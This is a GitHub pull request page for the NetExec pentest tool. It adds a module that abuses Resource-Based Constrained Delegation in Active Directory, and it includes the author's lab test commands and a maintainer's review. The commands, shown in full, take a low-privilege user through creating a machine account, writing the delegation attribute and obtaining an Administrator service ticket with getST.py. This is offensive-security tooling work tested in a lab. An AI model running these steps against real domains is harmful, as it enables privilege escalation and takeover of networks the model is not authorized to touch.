Skip to content

Add rbcd module to abuse Resource-Based Constrained Delegation#1236

Open
AhmadAlawneh3 wants to merge 2 commits into
Pennyw0rth:mainfrom
AhmadAlawneh3:feat/rbcd-module
Open

Add rbcd module to abuse Resource-Based Constrained Delegation#1236
AhmadAlawneh3 wants to merge 2 commits into
Pennyw0rth:mainfrom
AhmadAlawneh3:feat/rbcd-module

Conversation

@AhmadAlawneh3
Copy link
Copy Markdown

Description

Adds a new LDAP module rbcd that completes the existing RBCD enumeration story in nxc.

nxc already supports reading msDS-AllowedToActOnBehalfOfOtherIdentity via --find-delegation, but there has been no way to write the attribute. Pentesters who find a misconfigured DACL (GenericWrite/GenericAll/WriteDACL on a computer object) currently have to leave nxc and switch to ntlmrelayx, BloodyAD, or impacket-rbcd to perform the actual delegation write. This module fills that gap.

The module supports three actions on the LDAP protocol:

  • read: show current RBCD configuration (resolves SIDs to sAMAccountName)
  • write: append a SID to the target's allowed delegation list
  • remove: remove a specific principal, or clear the entire attribute

It chains naturally with the existing add-computer module: create a machine account via MAQ, then use this module to configure RBCD, then use getST.py -impersonate for the S4U2Self/S4U2Proxy step.

Closes #1219

Technique references

AI assistance disclosure

Per the AI policy: I used Claude Code (Opus 4.7) as an assistant during this work. Specifically:

  • Codebase exploration and identifying existing patterns to follow (e.g., how add-computer/badsuccessor handle LDAP writes, how parse_result_attributes and connection.search() work)
  • Drafting initial scaffold of the module
  • Discussing edge cases and reviewing test results

I personally wrote/reviewed every line, ran each test case in a real GOAD-Mini lab against sevenkingdoms.local, and caught one significant bug during testing (see "Setup guide" below, the Owner SID stripping issue) that required redesigning how the SD is reconstructed before write. The PR body and issue are written by me.

Type of change

Insert an "x" inside the brackets for relevant items (do not delete options)

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to not work as expected)
  • Deprecation of feature or functionality
  • This change requires a documentation update
  • This requires a third party update (such as Impacket, Dploot, lsassy, etc)
  • This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)

Setup guide for the review

Lab

Tested against GOAD-Mini (sevenkingdoms.local, single DC = KINGSLANDING / Windows Server 2019 Build 17763). Python 3.12 on Linux. nxc installed via pip install -e . from this branch.

Realistic scenario tested

Rather than testing only as Domain Admin, I provisioned a realistic scenario:

  1. Created a fresh non-admin user rbcd_lowpriv
  2. Created a target computer VICTIM$
  3. Granted rbcd_lowpriv GenericWrite on VICTIM$ (the kind of misconfig pentesters find in the wild)

This is the "compromised low-priv user with a misconfigured ACL" attack scenario.

Tests run

Functional (as rbcd_lowpriv, not Domain Admin):

# Create the attacker computer via MAQ
nxc ldap 10.10.10.10 -u rbcd_lowpriv -p 'LowPriv123!' -M add-computer -o NAME=PWNPC PASSWORD=PwnPC123!

# Read current RBCD (none configured yet)
nxc ldap 10.10.10.10 -u rbcd_lowpriv -p 'LowPriv123!' -M rbcd -o DELEGATE_TO=VICTIM$
[*] No RBCD configured on VICTIM$

# Write
nxc ldap 10.10.10.10 -u rbcd_lowpriv -p 'LowPriv123!' -M rbcd -o DELEGATE_TO=VICTIM$ ACTION=write DELEGATE_FROM=PWNPC$
[+] RBCD configured: PWNPC$ (S-1-5-21-...) can now impersonate users to VICTIM$
[*] Use impacket's getST.py with -impersonate to obtain a service ticket as any user

# Verify
nxc ldap 10.10.10.10 -u rbcd_lowpriv -p 'LowPriv123!' -M rbcd -o DELEGATE_TO=VICTIM$
[+] Found 1 delegation entries on VICTIM$:
  PWNPC$ (S-1-5-21-...)

# Remove specific
nxc ldap ... ACTION=remove DELEGATE_FROM=PWNPC$
[+] Removed last delegation entry and cleared attribute on VICTIM$

End-to-end attack chain: Followed by getST.py -spn cifs/VICTIM.sevenkingdoms.local -impersonate Administrator -dc-ip 10.10.10.10 'sevenkingdoms.local/PWNPC$:PwnPC123!'. The KDC successfully issued the Administrator service ticket, confirming the SD is valid.

Negative case: Attempting to write RBCD on a target the user has no rights on (KINGSLANDING$) returns:

[-] Insufficient rights to modify KINGSLANDING$ - need GenericWrite/GenericAll/WriteDACL on the target

Auth methods: Verified read/write/remove cycle works under password auth, NT hash auth (-H), Kerberos auth (-k --use-kcache), and over LDAPS (--port 636).

Idempotency: Running WRITE with the same SID twice does not create a duplicate ACE.

Append: Adding a second SID preserves the existing ACE.

Bug found & fixed during testing

When AD returns msDS-AllowedToActOnBehalfOfOtherIdentity with sdflags=0x04, the server strips OwnerSid/GroupSid/Sacl from the response. Naively reusing that parsed SD for a write back fails with constraintViolation because AD requires a valid Owner. The module always rebuilds a fresh SD via create_empty_sd() (with BUILTIN\Administrators as Owner) and copies the existing ACEs over. There's a docstring comment on create_empty_sd explaining this so future maintainers don't reintroduce the regression.

Setup needed by the reviewer

To reproduce:

  1. Any AD lab (GOAD-Mini works, full GOAD works)
  2. A user with GenericWrite (or Owns) on a target computer object. Easy to provision via dacledit.py or by running it as a Domain Admin
  3. A second principal to delegate from. Easiest is to create one via add-computer (MAQ >= 1)

Screenshots (if appropriate)

All screenshots taken from the realistic low-priv lab scenario (rbcd_lowpriv user with GenericWrite on VICTIM$, GOAD-Mini).

1. Precondition: rbcd_lowpriv has GenericWrite on VICTIM$

daclread confirms the misconfigured ACE that the attack relies on.

image

2. Low-priv user creates attacker computer and configures RBCD

add-computer (via MAQ) followed by the new rbcd module performing the write.

image

3. Verify RBCD entry + S4U produces Administrator service ticket

The rbcd module READ confirms the entry was set, then getST.py performs S4U2Self/S4U2Proxy and the KDC issues the Administrator ticket. This is the cryptographic proof that the RBCD config is valid.

image

4. Negative case: graceful error on insufficient rights

rbcd_lowpriv cannot modify RBCD on a target it has no rights on (the DC).

image

Checklist:

  • I have ran Ruff against my changes (poetry: poetry run ruff check ., use --fix to automatically fix what it can)
  • I have added or updated the tests/e2e_commands.txt file if necessary (new modules or features are required to be added to the e2e tests)
  • If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
  • I have linked relevant sources that describes the added technique (blog posts, documentation, etc)
  • I have performed a self-review of my own code (not an AI review)
  • I have commented my code, particularly in hard-to-understand areas
  • I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)

Implements read/write/remove of msDS-AllowedToActOnBehalfOfOtherIdentity
on the LDAP protocol. Complements the existing --find-delegation
enumeration by allowing pentesters to actually configure RBCD without
leaving nxc.

Closes Pennyw0rth#1219
@NeffIsBack
Copy link
Copy Markdown
Member

NeffIsBack commented May 9, 2026

Thanks for the PR, the detailed setup guide is much appreciated!

Ticked all the boxes how a great PR description should look like :)

Looks really great so far, but please don't use the security_descriptor_control from ldap3. Instead please use native impacket functions, for reference see: #1163

I think I also ran into this "empty SD" problem as well, which can also be problematic when enumerating these users (crashed on my once because of that resulting empty SD). Since the default is that users don't even have any value set for the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, instead of setting an empty SD we should imo just remove it entirely. This is different to how impacket does it, but imo this is cleaner since:

  1. We revert to the initial state of this attribute, removing traces in the domain
  2. I think AD also does not set an empty SD, but rather removes it as well (to be checked)

Per maintainer review on PR Pennyw0rth#1236: drop the ldap3 dependency and use
the impacket-native SDFlagsControl (same pattern as PR Pennyw0rth#1163).
Verified end-to-end against GOAD-Mini after the change.
@AhmadAlawneh3
Copy link
Copy Markdown
Author

Thanks for the quick review!

Replaced the ldap3 security_descriptor_control with impacket's SDFlagsControl following the pattern from #1163. Pushed as a follow-up commit (d4f45c7). Re-verified the full read/write/append/remove cycle against the GOAD-Mini lab after the change, all paths still work.

On the empty-SD point: the module already handles this in REMOVE. When the last delegation entry is removed (either via ACTION=remove DELEGATE_FROM=X removing the last ACE, or ACTION=remove with no FROM), it uses MODIFY_DELETE to drop the attribute entirely rather than writing back an empty SD. Agree it's the cleaner default and matches what AD does natively. The only place a fresh SD with Owner gets built is in WRITE, where there's always at least one ACE being added.

Let me know if you'd like any other changes.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

RBCD abuse module (write msDS-AllowedToActOnBehalfOfOtherIdentity)

2 participants